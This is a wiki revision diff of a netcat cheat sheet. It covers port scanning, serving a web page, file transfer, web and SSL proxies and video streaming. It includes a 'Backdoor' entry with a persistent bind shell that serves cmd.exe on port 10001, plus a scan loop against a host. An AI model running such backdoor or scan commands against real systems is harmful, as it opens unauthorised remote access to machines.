NetCat: Difference between revisions

no edit summary
(Netcat examples added)
No edit summary
 
(3 intermediate revisions by the same user not shown)
Line 6:
nc -v -w 2 -z 10.66.10.23 20-30
netcat -z -n -v 111.111.111.111 1-1000 2>&1 | grep succeeded
while true; do nc -z -n -v 111.111.111.111 2>&1 | grep succeeded; sleep 1; done
 
* Host a website
Line 13 ⟶ 14:
Looping to prevent netcat from exiting
while true; do nc -l 8888 < index.html; done
while true; do sudo nc -lp 80 < index.html; done
 
* Backdoor
nc -L -p 10001 -d -e cmd.exe
 
Here:
-L not close and wait for connections
-p port to listen
Line 29 ⟶ 33:
 
* File transfer
Source:
cat file.txt | nc -l 4009
Destination:
nc 10.10.10.10 4009 > file.txt
 
Line 38 ⟶ 42:
Execute on remote PC
netcat domain.com 4444
 
* Create a web proxy
mkfifo proxypipe
while true; do nc -l 5000 0<proxypipe | nc www.google.com 80 1> proxypipe; done
You can access Google by
http://127.0.0.1:5000.
 
* Create an SSL proxy
mkfifo proxypipe
mkfifo proxypipe2
nc -l 5000 -k > proxypipe < proxypipe2 &
while true; do openssl s_client -connect www.google.com:443 -quiet < proxypipe > proxypipe2; done
 
*Stream a video file
On server:
cat video.avi | nc -l 5000
On Client:
nc 192.168.233.208 5000 | mplayer -vo x11 -cache 3000 -
 
 
=Socat=